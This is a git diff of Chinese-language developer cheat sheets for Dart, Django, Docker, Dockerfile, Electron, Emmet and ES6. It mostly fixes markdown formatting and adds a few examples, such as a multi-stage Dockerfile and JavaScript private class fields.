print(x); // 打印: 6 - 结果仍然是 6
print(null ?? 10); // 打印: 10。如果不为空则显示左侧的值否则返回右侧的值
```
### 三元运算符
```dart
// 条件 ? 条件如果为真 : 条件如果为假
bool isAvailable;
isAvailable ? orderproduct() : addToFavourite();
```
<!--rehype:className=wrap-text-->
### 条件属性访问
<!--rehype:wrap-class=col-span-2-->
```dart
userObject?.userName
// 上面的代码片段等效于以下代码:
(userObject != null) ? userObject.userName : null
// 您可以将 ? 的多种用途链接起来。一起在一个表达式中
userObject?.userName?.toString()
// 如果 userObject 或 userObject.userName 为 null则前面的代码返回 null 并且从不调用 toString()
```
### 级联符号 (..)
<!--rehype:wrap-class=row-span-2-->
```dart
// 允许您对同一对象进行一系列操作
// 而不是这样做
var user = User();
user.name = "Nicola";
user.email = "nicola@g.c";
user.age = 24;
// 你可以这样做
var user = User()
..name = "Nicola"
..email = "nicola@g.c"
..age = 24;
```
### 扩展运算符 (...)
```dart
// 将多个值插入到集合中
var list = [1, 2, 3];
var list2 = [0, ...list];
print(list2.length); // 打印: 4
```
另见
----
- [Dart 官方文档](https://dart.dev/) _(dart.dev)_

View File

@ -17,17 +17,20 @@ $ pip --version
```
<!--rehype:className=wrap-text -->
如果你没有安装 PIP你可以从这个页面下载并安装它https://pypi.org/project/pip/
如果你没有安装 PIP你可以从这个页面下载并安装它<https://pypi.org/project/pip/>
### 入门
<!--rehype:wrap-class=row-span-4-->
- 创建虚拟环境
```bash
$ py -m venv myproject # Windows
$ python -m venv myproject # Unix/MacOS
```
- 其中包含子文件夹和文件,如下所示
```bash
myproject
├┈Include
@ -35,21 +38,27 @@ $ pip --version
├┈Scripts
╰┈pyvenv.cfg
```
- 以下命令来激活环境
```bash
# Windows:
myproject\Scripts\activate.bat
# Unix/MacOS:
source myproject/bin/activate
```
- 提示符中看到以下结果:
```bash
# Windows:
(myproject) C:\Users\Your Name>
# Unix/MacOS:
(myproject) ... $
```
- 安装 Django
```bash
# Windows:
(myproject) C:\Users\Name>py -m pip install Django
@ -248,7 +257,7 @@ INSTALLED_APPS = [
]
```
然后运行这个命令:
然后运行这个命令:
```bash
$ py manage.py migrate
@ -417,7 +426,7 @@ def testing(request):
- `forloop.counter0` 当前循环,从 0 开始
- `forloop.first` 循环是否在其第一次循环中
- `forloop.last` 循环是否在其最后一次循环中
- `forloop.parentloop`
- `forloop.parentloop`
- `forloop.revcounter` 如果从末尾开始并向后计数,则以 1 结束
- `forloop.revcounter0` 如果从末尾开始并向后计数,则以 0 结束
@ -543,7 +552,7 @@ What is your name?{% endfilter %}
### 导入模板传入变量
`mymenu.html`:
`mymenu.html`:
```django
<div>HOME | {{ me }} | ABOUT | FORUM | {{ sponsor }}</div>
@ -762,9 +771,6 @@ function myFunction() {
```
<!--rehype:className=wrap-text -->
另见
----
@ -772,4 +778,4 @@ function myFunction() {
- [Django 教程](https://www.runoob.com/django/django-tutorial.html) _(runoob.com)_
- [Django 框架教程](http://c.biancheng.net/django/) _(biancheng.net)_
- [Django 4 中文教程](https://www.w3cschool.cn/django4/) _(w3cschool.cn)_
- [Django Tutorial](https://www.w3schools.com/django/index.php) _(w3schools.com)_
- [Django Tutorial](https://www.w3schools.com/django/index.php) _(w3schools.com)_

View File

@ -21,7 +21,6 @@ $ docker run -d -p 80:80 docker/getting-started
- `-p 80:80` - 将端口 80 映射到容器中的端口 80
- `docker/getting-started` - 要使用的镜像
在前台创建并运行容器
```shell
@ -86,7 +85,6 @@ Docker 容器
`docker stats nginx-server` | 容器资源使用
`docker diff nginx-server` | 列出对容器所做的更改
### 创建容器
```shell
@ -235,9 +233,9 @@ docker network create -d overlay \
| Docker 语法 | 说明 |
|------------|------|
`docker search search_word` | 在 docker hub 中搜索镜像。
`docker pull user/image ` | 从 docker hub 下载镜像。
`docker login ` | 向 docker hub 进行身份验证
`docker push user/image ` | 将镜像上传到 docker hub。
`docker pull user/image` | 从 docker hub 下载镜像。
`docker login` | 向 docker hub 进行身份验证
`docker push user/image` | 将镜像上传到 docker hub。
### 镜像仓库命令
<!--rehype:wrap-class=row-span-3-->
@ -359,8 +357,8 @@ $ docker volume prune
### docker 主要命令
:- | :-
:- | :-
:- | :-
:- | :-
`attach` | 将本地标准输入、输出和错误流附加到正在运行的容器
`build` | 从 Dockerfile 构建镜像
`commit` | 从容器的更改创建新图像
@ -527,8 +525,8 @@ $ docker volume prune
### docker 管理命令
<!--rehype:wrap-class=row-span-2-->
:- | :-
:- | :-
:- | :-
:- | :-
`docker builder` | 管理构建
`docker buildx*` | Docker BuildxDocker Inc.v0.7.1
`docker compose*` | Docker ComposeDocker Inc.v2.2.3
@ -625,8 +623,8 @@ $ docker run --name my-nginx \
```bash
$ docker run --name my-postgres \
-e POSTGRES_PASSWORD=mysecretpassword \
-e PGDATA=/var/lib/postgresql/data/pgdata \
-v $HOME/nginx/mount:/var/lib/postgresql/data \
-e PGDATA=/var/lib/postgresql/data/pgdata \
-v $HOME/nginx/mount:/var/lib/postgresql/data \
-d postgres
```
@ -662,4 +660,4 @@ $ docker run -d --name gitlab \
- [Dockerfile 备忘清单](./dockerfile.md) _(github.io)_
- [Docker 官方入门教程](https://docs.docker.com/get-started/) _(docker.com)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_

View File

@ -207,8 +207,11 @@ temp?
`EXPOSE <port> [<port>/<protocol>...]` | 运行时侦听指定的网络端口
<!--rehype:class=auto-wrap-->
Dockerfile 示例
----
<!--rehype:body-class=cols-2-->
### 服务静态网站的最小 Docker 镜像
<!--rehype:wrap-class=col-span-2-->
```dockerfile
FROM lipanski/docker-static-website:latest
@ -223,13 +226,33 @@ COPY ./ .
FROM lipanski/docker-static-website:latest
COPY . .
CMD ["/busybox", "httpd", "-f", "-v", "-p", "3000", "-c", "httpd.conf"]
CMD ["/busybox","httpd","-f","-v","-p","3000","-c","httpd.conf"]
```
缩小镜像过程[查看原文](https://lipanski.com/posts/smallest-docker-image-static-website),镜像 [Dockerfile 源码](https://github.com/lipanski/docker-static-website)。
### Docker 镜像多阶段构建
```dockerfile
FROM golang:alpine as builder
RUN apk --no-cache add git
WORKDIR /go/src/github.com/go/helloworld/
RUN go get -d -v github.com/go-sql-driver/mysql
COPY app.go .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .
FROM alpine:latest as prod
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY --from=builder /go/src/github.com/go/helloworld/app .
CMD ["./app"]
```
<!--rehype:className=wrap-text -->
使用多阶段构建能将构建依赖留在 builder 镜像中,只将编译完成后的二进制文件拷贝到运行环境中,大大减少镜像体积。
## 也可以看看
- [Dockerfile reference](https://docs.docker.com/engine/reference/builder/) _(docker.com)_
- [Docker 备忘清单](./docker.md) _(github.io)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_
- [Docker入门学习笔记](https://jaywcjlove.github.io/docker-tutorial) _(github.io)_

View File

@ -3,7 +3,6 @@ Electron 备忘清单
此快速参考备忘单提供了 Electron v21 API 说明和使用示例。
入门
----
@ -15,11 +14,14 @@ Electron 备忘清单
#### 创建你的应用程序
- 安装
```bash
mkdir my-app && cd my-app
npm init
```
在项目根目录会生成 `package.json`
```json
{
"name": "my-app",
@ -30,22 +32,30 @@ Electron 备忘清单
"license": "MIT"
}
```
- 安装依赖包
```bash
npm install --save-dev electron
```
- 添加开发模式打开您的应用命令
```js
"scripts": {
"start": "electron ."
}
```
- 运行命令,启动应用程序
```bash
npm start
```
入口都是 `main` 文件。这个文件控制了主进程它运行在一个完整的Node.js环境中
- 创建 `index.html` 页面
```html
<!DOCTYPE html>
<html>
@ -60,7 +70,9 @@ Electron 备忘清单
</body>
</html>
```
- 窗口中打开您的页面
```js
const {
app,
@ -385,8 +397,8 @@ BrowserWindow
`useContentSize` _boolean_ | _(宽)_ 和 _(高)_ 设置为web页面的尺寸。默认值 _(false)_
`center` _boolean_ | 窗口是否在屏幕居中。默认值 _(false)_
`minHeight` _整数_ | 窗口的最小高度。默认值 _(0)_
`maxWidth ` _整数_ | 窗口的最大宽度。默认值不限
`maxHeight ` _整数_ | 窗口的最大高度。默认值不限
`maxWidth` _整数_ | 窗口的最大宽度。默认值不限
`maxHeight` _整数_ | 窗口的最大高度。默认值不限
`resizable` _boolean_ | 窗口大小是否可调整。默认值 _(true)_
`movable` _boolean_ _(win/mac)_ | 窗口是否可移动。默认值 _(true)_
`minimizable` _boolean_ _(win/mac)_ | 窗口是否可最小化。默认值 _(true)_
@ -417,14 +429,14 @@ BrowserWindow
`transparent` _boolean_ | 使窗口 <a href="/zh/docs/latest/tutorial/window-customization#create-transparent-windows">透明</a>。 默认值 _(false)_. 在Windows上仅在无边框窗口下起作用。
`type` _string_ | 窗口的类型, 默认为普通窗口. 更多信息见下文
`visualEffectState` _string_ _(mac)_ | 在 macOS 上指定外观应如何响应窗口活动状态。 必须与 _(vibrancy)_ 属性一起使用。 可能的值有
` visualEffectState.followWindow` | 当窗口处于激活状态时,后台应自动显示为激活状态,当窗口处于非激活状态时,后台应自动显示为非激活状态。 默认为该值。
` visualEffectState.active` | 后台应一直显示为激活状态。
` visualEffectState.inactive` | 后台应一直显示为非激活状态。
`visualEffectState.followWindow` | 当窗口处于激活状态时,后台应自动显示为激活状态,当窗口处于非激活状态时,后台应自动显示为非激活状态。 默认为该值。
`visualEffectState.active` | 后台应一直显示为激活状态。
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
` titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
` titleBarStyle.hidden` | 在一个隐藏的标题栏和一个全尺寸大小的内容窗口中取得结果。 在 macOS 内, 窗口将一直拥有位于左上的标准窗口控制器 _(“traffic lights”)_。 在 Windows上当与 _(titleBarOverlay: true)_ 合并时,它将激活窗口控件叠加(详情请参阅 _(titleBarOverlay)_),否则将不会显示窗口控件。
` titleBarStyle.hiddenInset` _(mac)_ | 隐藏标题栏,使用窗口边缘稍微小的红绿灯按钮替代。
` titleBarStyle.customButtonsOnHover` _(mac)_ | 隐藏的标题栏的全尺寸的内容窗口, 红绿灯按钮在鼠标悬停在窗口左上方时显示。**注意:**此选项目前是实验性的。
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
`titleBarStyle.hidden` | 在一个隐藏的标题栏和一个全尺寸大小的内容窗口中取得结果。 在 macOS 内, 窗口将一直拥有位于左上的标准窗口控制器 _(“traffic lights”)_。 在 Windows上当与 _(titleBarOverlay: true)_ 合并时,它将激活窗口控件叠加(详情请参阅 _(titleBarOverlay)_),否则将不会显示窗口控件。
`titleBarStyle.hiddenInset` _(mac)_ | 隐藏标题栏,使用窗口边缘稍微小的红绿灯按钮替代。
`titleBarStyle.customButtonsOnHover` _(mac)_ | 隐藏的标题栏的全尺寸的内容窗口, 红绿灯按钮在鼠标悬停在窗口左上方时显示。**注意:**此选项目前是实验性的。
`trafficLightPosition` _Point_ _(mac)_ | 在无边框窗口中设置灯绿灯按钮位置。
`roundedCorners` _boolean_ _(mac)_ | 无边框窗口在 macOS 上,是否应该有圆角。 默认值为 _(true)_。 属性设置为 _(false)_ ,将阻止窗口是可全屏的。
~~`fullscreenWindowTitle`~~ _boolean_ _(mac)_ ~~_已弃用_~~ | _titleBarStyle_ 设置为 _(hiddenInset)_ 时,在 macOS 全屏模式下标题栏显示标题。默认值为 _(false)_.
@ -433,34 +445,34 @@ BrowserWindow
`zoomToPageWidth` _boolean_ _(mac)_ | 在 macOS 上控制,当按住 option 点击工具栏绿色红绿灯按钮或点击窗口 &gt; 放大菜单项的行为。 如果为 _(true)_窗口为将会缩放到适合宽度若为 _(false)_ 将会放大到屏幕宽度。 这也会影响,直接调用 _(maximize())_ 的行为。 默认值为 _(false)_.
`tabbingIdentifier` _string_ _(mac)_ | 选项卡组名称允许在原生选择卡中打开窗口macOS 10.12+ 支持。 Windows 中,有相同选项卡标识的将会组合在一起。 这会添加一个原生新增选项卡按钮到你窗口的选项卡栏,同时 _(app)_ 和窗口允许接收 _(new-window-for-tab)_ 事件。
`webPreferences` _Object_ | 网页功能设置。
` webPreferences.devTools` _boolean_ | 是否开启 DevTools. 如果设置为 _(false)_, 则无法使用 _(BrowserWindow.webContents.openDevTools ())_ 打开 DevTools。 默认值为 _(true)_。
` webPreferences.nodeIntegration` _boolean_ | 是否启用Node integration. 默认值为 _(false)_.
` webPreferences.nodeIntegrationInWorker` _boolean_ | 是否在Web工作器中启用了Node集成. 默认值为 _(false)_. 更多内容参见 [多线程](https://www.electronjs.org/docs/latest/tutorial/multithreading)
` webPreferences.nodeIntegrationInSubFrames` _boolean_ **_实验性_**| 是否允许在子页面(iframe)或子窗口(child window)中集成Node.js 预先加载的脚本会被注入到每一个iframe你可以用 _(process.isMainFrame)_ 来判断当前是否处于主框架main frame中。
` webPreferences.preload` _string_ | 在页面运行其他脚本之前预先加载指定的脚本 无论页面是否集成Node, 此脚本都可以访问所有Node API 脚本路径为文件的绝对路径。 当 node integration 关闭时, 预加载的脚本将从全局范围重新引入node的全局引用标志[参考示例](https://www.electronjs.org/docs/latest/api/context-bridge#exposing-node-global-symbols)
` webPreferences.sandbox` _boolean_ | 如果设置该参数, 沙箱的渲染器将与窗口关联, 使它与Chromium OS-level 的沙箱兼容, 并禁用 Node. js 引擎。 它与 _(nodeIntegration)_ 的选项不同,且预加载脚本的 API 也有限制。[更多详情](https://www.electronjs.org/docs/latest/tutorial/sandbox)
` webPreferences.session` | [Session](https://www.electronjs.org/docs/latest/api/session#class-session) 设置页面的 session 而不是直接忽略 Session 对象, 也可用 _(partition)_ 选项来代替,它接受一个 partition 字符串. 同时设置了_(session)_ 和 _(partition)_时, _(session)_ 的优先级更高. 默认使用默认的 session.
` webPreferences.partition` | string (optional) - 通过 session 的 partition 字符串来设置界面session. 如果 _(partition)_ 以 _(persist:)_开头, 该页面将使用持续的 session并在所有页面生效且使用同一个_(partition)_. 如果没有 _(persist:)_ 前缀, 页面将使用 in-memory session. 通过分配相同的 _(partition)_, 多个页可以共享同一会话。 默认使用默认的 session.
` webPreferences.zoomFactor` _number_ | 页面的默认缩放系数, _(3.0)_ 表示 _(300%)_。 默认值为 _(1.0)_.
` webPreferences.javascript` _boolean_ | 是否启用 JavaScript 支持。 默认值为 _(true)_。
` webPreferences.webSecurity` _boolean_ | 当设置为 _(false)_, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把 _(allowRunningInsecureContent)_设置为 _(true)_. 默认值为 _(true)_
` webPreferences.allowRunningInsecureContent` _boolean_ | 允许一个 https 页面运行来自http url的JavaScript, CSS 或 plugins。 默认值为 _(false)_
` webPreferences.images` _boolean_ | 允许加载图片。 默认值为 _(true)_
` webPreferences.imageAnimationPolicy` _string_ | 指定如何运行图像动画 (比如: GIF等). 可以是 _(animate)_, _(animateOnce)_ 或 _(noAnimation)_。默认值为 _(animate)_
` webPreferences.textAreasAreResizable` _boolean_ | 允许调整 TextArea 元素大小。 默认值为 _(true)_
` webPreferences.webgl` _boolean_ | 启用 WebGL 支持。 默认值为 _(true)_
` webPreferences.plugins` _boolean_ | 是否应该启用插件。 默认值为 _(false)_
` webPreferences.experimentalFeatures` _boolean_ | 启用 Chromium 的实验功能。 默认值为 _(false)_
` webPreferences.scrollBounce` _boolean_ _(mac)_ | 启用滚动回弹(橡皮筋)效果。 默认值为 _(false)_
` webPreferences.enableBlinkFeatures`_string_ | 以 _(逗号)_ 分隔的需要启用的特性列表,譬如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
` webPreferences.disableBlinkFeatures` _string_ | 以 _(,)_ 分隔的禁用特性列表, 如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
`webPreferences.devTools` _boolean_ | 是否开启 DevTools. 如果设置为 _(false)_, 则无法使用 _(BrowserWindow.webContents.openDevTools ())_ 打开 DevTools。 默认值为 _(true)_。
`webPreferences.nodeIntegration` _boolean_ | 是否启用Node integration. 默认值为 _(false)_.
`webPreferences.nodeIntegrationInWorker` _boolean_ | 是否在Web工作器中启用了Node集成. 默认值为 _(false)_. 更多内容参见 [多线程](https://www.electronjs.org/docs/latest/tutorial/multithreading)
`webPreferences.nodeIntegrationInSubFrames` _boolean_ **_实验性_**| 是否允许在子页面(iframe)或子窗口(child window)中集成Node.js 预先加载的脚本会被注入到每一个iframe你可以用 _(process.isMainFrame)_ 来判断当前是否处于主框架main frame中。
`webPreferences.preload` _string_ | 在页面运行其他脚本之前预先加载指定的脚本 无论页面是否集成Node, 此脚本都可以访问所有Node API 脚本路径为文件的绝对路径。 当 node integration 关闭时, 预加载的脚本将从全局范围重新引入node的全局引用标志[参考示例](https://www.electronjs.org/docs/latest/api/context-bridge#exposing-node-global-symbols)
`webPreferences.sandbox` _boolean_ | 如果设置该参数, 沙箱的渲染器将与窗口关联, 使它与Chromium OS-level 的沙箱兼容, 并禁用 Node. js 引擎。 它与 _(nodeIntegration)_ 的选项不同,且预加载脚本的 API 也有限制。[更多详情](https://www.electronjs.org/docs/latest/tutorial/sandbox)
`webPreferences.session` | [Session](https://www.electronjs.org/docs/latest/api/session#class-session) 设置页面的 session 而不是直接忽略 Session 对象, 也可用 _(partition)_ 选项来代替,它接受一个 partition 字符串. 同时设置了_(session)_ 和 _(partition)_时, _(session)_ 的优先级更高. 默认使用默认的 session.
`webPreferences.partition` | string (optional) - 通过 session 的 partition 字符串来设置界面session. 如果 _(partition)_ 以 _(persist:)_开头, 该页面将使用持续的 session并在所有页面生效且使用同一个_(partition)_. 如果没有 _(persist:)_ 前缀, 页面将使用 in-memory session. 通过分配相同的 _(partition)_, 多个页可以共享同一会话。 默认使用默认的 session.
`webPreferences.zoomFactor` _number_ | 页面的默认缩放系数, _(3.0)_ 表示 _(300%)_。 默认值为 _(1.0)_.
`webPreferences.javascript` _boolean_ | 是否启用 JavaScript 支持。 默认值为 _(true)_。
`webPreferences.webSecurity` _boolean_ | 当设置为 _(false)_, 它将禁用同源策略 (通常用来测试网站), 如果此选项不是由开发者设置的,还会把 _(allowRunningInsecureContent)_设置为 _(true)_. 默认值为 _(true)_
`webPreferences.allowRunningInsecureContent` _boolean_ | 允许一个 https 页面运行来自http url的JavaScript, CSS 或 plugins。 默认值为 _(false)_
`webPreferences.images` _boolean_ | 允许加载图片。 默认值为 _(true)_
`webPreferences.imageAnimationPolicy` _string_ | 指定如何运行图像动画 (比如: GIF等). 可以是 _(animate)_, _(animateOnce)_ 或 _(noAnimation)_。默认值为 _(animate)_
`webPreferences.textAreasAreResizable` _boolean_ | 允许调整 TextArea 元素大小。 默认值为 _(true)_
`webPreferences.webgl` _boolean_ | 启用 WebGL 支持。 默认值为 _(true)_
`webPreferences.plugins` _boolean_ | 是否应该启用插件。 默认值为 _(false)_
`webPreferences.experimentalFeatures` _boolean_ | 启用 Chromium 的实验功能。 默认值为 _(false)_
`webPreferences.scrollBounce` _boolean_ _(mac)_ | 启用滚动回弹(橡皮筋)效果。 默认值为 _(false)_
`webPreferences.enableBlinkFeatures`_string_ | 以 _(逗号)_ 分隔的需要启用的特性列表,譬如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
`webPreferences.disableBlinkFeatures` _string_ | 以 _(,)_ 分隔的禁用特性列表, 如 _(CSSVariables,KeyboardEventKey)_ 在 [RuntimeEnabledFeatures.json5](https://cs.chromium.org/chromium/src/third_party/blink/renderer/platform/runtime_enabled_features.json5?l=70) 文件中查看被支持的所有特性
`defaultFontFamily` _Object_ | 为 font-family 设置默认字体
` defaultFontFamily.standard` _string_ |默认值为 _(Times New Roman)_
` defaultFontFamily.serif` _string_ | 默认值为 _(Times New Roman)_
` defaultFontFamily.sansSerif` _string_ | 默认值为 _(Arial)_
` defaultFontFamily.monospace` _string_ | 默认值为 _(Courier New)_
` defaultFontFamily.cursive` _string_ | 默认值为 _(Script)_
` defaultFontFamily.fantasy` _string_ | 默认值为 _(Impact)_
`defaultFontFamily.standard` _string_ |默认值为 _(Times New Roman)_
`defaultFontFamily.serif` _string_ | 默认值为 _(Times New Roman)_
`defaultFontFamily.sansSerif` _string_ | 默认值为 _(Arial)_
`defaultFontFamily.monospace` _string_ | 默认值为 _(Courier New)_
`defaultFontFamily.cursive` _string_ | 默认值为 _(Script)_
`defaultFontFamily.fantasy` _string_ | 默认值为 _(Impact)_
`defaultFontSize` _Integer_ | 默认值为 _(16)_
`defaultMonospaceFontSize` _Integer_ | 默认值为 _(13)_
`minimumFontSize` _Integer_ | 默认值为 _(0)_
@ -480,10 +492,10 @@ BrowserWindow
`spellcheck` _boolean_ | 是否启用内置拼写检查器。 默认值为 _(true)_
`enableWebSQL` _boolean_ | 是否启用 [WebSQL api](https://www.w3.org/TR/webdatabase/)。 默认值为 _(true)_
`v8CacheOptions` _string_ | 强制 blink 使用 v8 代码缓存策略。 可接受的值为:
` v8CacheOptions.none` | 禁用代码缓存
` v8CacheOptions.code` | 基于启发式代码缓存
` v8CacheOptions.bypassHeatCheck` | 绕过启发式代码缓存,但使用懒编译。
` v8CacheOptions.bypassHeatCheckAndEagerCompile` | 与上面相同,除了编译是及时的。 默认策略是 _(code)_
`v8CacheOptions.none` | 禁用代码缓存
`v8CacheOptions.code` | 基于启发式代码缓存
`v8CacheOptions.bypassHeatCheck` | 绕过启发式代码缓存,但使用懒编译。
`v8CacheOptions.bypassHeatCheckAndEagerCompile` | 与上面相同,除了编译是及时的。 默认策略是 _(code)_
`enablePreferredSizeMode` _boolean_ | 是否启用首选大小模式。 首选大小是包含文档布局所需的最小大小--无需滚动。 启用该属性将导致在首选大小发生变化时,在 _(WebContents)_ 上触发 _(preferred-size-changed)_ 事件。默认值为 _(false)_
`titleBarOverlay` _Object/Boolean_ | 当在 macOS 使用无框窗口结合 _(win.setWindowButtonVisibility(true))_ 或使用 _(titleBarStyle)_ 以便标准窗口控制 (在 macOS为 "traffic lights") 可见,此属性将启用 Window Controls Overlay [JavaScript APIs](https://github.com/WICG/window-controls-overlay/blob/main/explainer.md#javascript-apis) 和 [CSS Environment Variables](https://github.com/WICG/window-controls-overlay/blob/main/explainer.md#css-environment-variables)。指定 _(true)_ 将导致覆盖默认系统颜色。 默认值为 _(false)_
`color` _String_ _(win)_ | 启用窗口控制时覆盖面的 CSS 颜色 默认是系统颜色
@ -684,7 +696,6 @@ child.once('ready-to-show', () => {
`win.setTitleBarOverlay(options)` _(win)_ | 在已开启 Window Controls Overlay 的窗口上,此方法将更新标题栏叠加层的样式 [#](https://www.electronjs.org/zh/docs/latest/api/browser-window#winsettitlebaroverlayoptions-windows)
<!--rehype:className=style-list-->
### 静态方法
<!--rehype:wrap-class=col-span-3-->
@ -735,4 +746,4 @@ win.loadURL('https://github.com')
另见
---
- [Electron 备忘清单](https://simulatedgreg.github.io/electron-cheatsheet/) _(simulatedgreg.github.io)_
- [Electron 备忘清单](https://simulatedgreg.github.io/electron-cheatsheet/) _(simulatedgreg.github.io)_

View File

@ -133,7 +133,7 @@ $ emacs
<!--rehype:wrap-class=row-span-2-->
向后 | 向前 | 要杀死的实体
:- | :- | :-
:- | :- | :-
`DEL` | `C-d` | 字符 <br>_(删除)_
`M-DEL` | `M-d` | 单词
`M-0` `C-k` | `C-k` | 行 <br/> _(到结尾)_
@ -522,5 +522,3 @@ With prefix argument LINE, put point on LINE."
0
(prefix-numeric-value line))))
```

View File

@ -3,7 +3,6 @@ Emmet 备忘清单
[Emmet](https://emmet.io/) 是一个用于提升 [HTML](./html.md) 和 CSS 代码编写的 Web 开发人员工具包,它允许您使用著名的 CSS 选择器以光速编写大型 HTML 代码块。
Emmet 语法
---------------
@ -16,7 +15,6 @@ Emmet 语法
- [Emmet for Coda](https://emmet.io/download/coda/) _(emmet.io)_
- [Emmet for Atom](https://github.com/emmetio/emmet-atom#readme) _(github.com)_
### 乘法:*
`ul>li*5`
@ -81,7 +79,7 @@ p>{Click }+a{here}+{ 继续}
### ID 和 CLASS 属性
<!--rehype:wrap-class=row-span-2-->
#header
\# header
```html
<div id="header"></div>
@ -199,7 +197,6 @@ ul>li.item$@2*3
</ul>
```
### 上一层: ^
div+div>p>span+em^bq
@ -793,7 +790,6 @@ select
select:disabled, select:d 别名 select[disabled.]
```html
<select name="" id="" disabled="disabled"></select>
```
@ -1162,7 +1158,7 @@ html:4s 别名 !!!4s+doc4[lang=${lang}]
```
<!--rehype:className=wrap-text -->
html:xt 别名 !!!xt+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
html:xt 别名 !!!xt+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
<!--rehype:className=wrap-text -->
```html
@ -1179,7 +1175,7 @@ html:xt 别名 !!!xt+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
```
<!--rehype:className=wrap-text -->
html:xs 别名 !!!xs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
html:xs 别名 !!!xs+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
@ -1195,7 +1191,7 @@ html:xs 别名 !!!xs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
```
<!--rehype:className=wrap-text -->
html:xxs 别名 !!!xxs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
html:xxs 别名 !!!xxs+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
@ -1968,6 +1964,7 @@ CSS
font-weight: normal;
}
```
#### @i, @import
```css
@ -2057,7 +2054,7 @@ CSS
`bfv:h` | backface-visibility:hidden;
`bfv:v` | backface-visibility:visible;
`bg:ie` | filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='x.png',sizingMethod='crop');
`cm` | /* ${child} */
`cm` | /\* ${child} */
`colm` | columns:;
`colmc` | column-count:;
`colmf` | column-fill:;
@ -2068,7 +2065,7 @@ CSS
`colmrw` | column-rule-width:;
`colms` | column-span:;
`colmw` | column-width:;
`d:ib+` | display: inline-block;<br /> *display: inline;<br /> *zoom: 1;
`d:ib+` | display: inline-block;<br /> *display: inline;<br />*zoom: 1;
`jc` | justify-content:;
`jc:c` | justify-content:center;
`jc:fe` | justify-content:flex-end;
@ -2384,7 +2381,7 @@ choose+ A别名 xsl:choose>xsl:when+xsl:otherwise
</xsl:choose>
```
xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/Transform]>{ | }
xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=<http://www.w3.org/1999/XSL/Transform>]>{ | }
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -2401,4 +2398,4 @@ xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/T
另见
--------
* [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_
- [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_

View File

@ -149,6 +149,40 @@ class Circle extends Shape {
原型的语法糖。
请参阅: [类](https://babeljs.io/learn-es2015/#classes)
### 私有类
javascript 默认字段是公共的(`public`,如果需要注明私有,可以使用(`#`
```js
class Dog {
#name;
constructor(name) {
this.#name = name;
}
printName() {
//只能在类内部调用私有字段
console.log(`你的名字是${this.#name}`)
}
}
const dog = new Dog("putty")
//console.log(this.#name)
//Private identifiers are not allowed outside class bodies.
dog.printName()
```
#### 静态私有类
```js
class ClassWithPrivate {
static #privateStaticField;
static #privateStaticFieldWithInitializer = 42;
static #privateStaticMethod() {
// …
}
}
```
Promises
--------
@ -237,7 +271,9 @@ let {title, author} = {
const scores = [22, 33]
const [math = 50, sci = 50, arts = 50] = scores
```
----
```js
// Result:
// math === 22, sci === 33, arts === 50
@ -252,7 +288,9 @@ function greet({ name, greeting }) {
console.log(`${greeting}, ${name}!`)
}
```
----
```js
greet({ name: 'Larry', greeting: 'Ahoy' })
```
@ -266,7 +304,9 @@ function greet({ name = 'Rauno' } = {}) {
console.log(`Hi ${name}!`);
}
```
----
```js
greet() // Hi Rauno!
greet({ name: 'Larry' }) // Hi Larry!
@ -279,7 +319,9 @@ function printCoordinates({ left: x, top: y }) {
console.log(`x: ${x}, y: ${y}`)
}
```
----
```js
printCoordinates({ left: 25, top: 90 })
```
@ -448,6 +490,13 @@ function foo() {}
foo.name // "foo"
```
### length 属性
```js
function foo(a, b){}
foo.length // 2
```
Objects
-------
@ -456,7 +505,9 @@ Objects
```js
module.exports = { hello, bye }
```
同下:
同下:
```js
module.exports = {
hello: hello, bye: bye
@ -524,22 +575,30 @@ Modules 模块
import 'helpers'
// 又名: require('···')
```
---
----
```js
import Express from 'express'
// 又名: const Express = require('···').default || require('···')
```
---
----
```js
import { indent } from 'helpers'
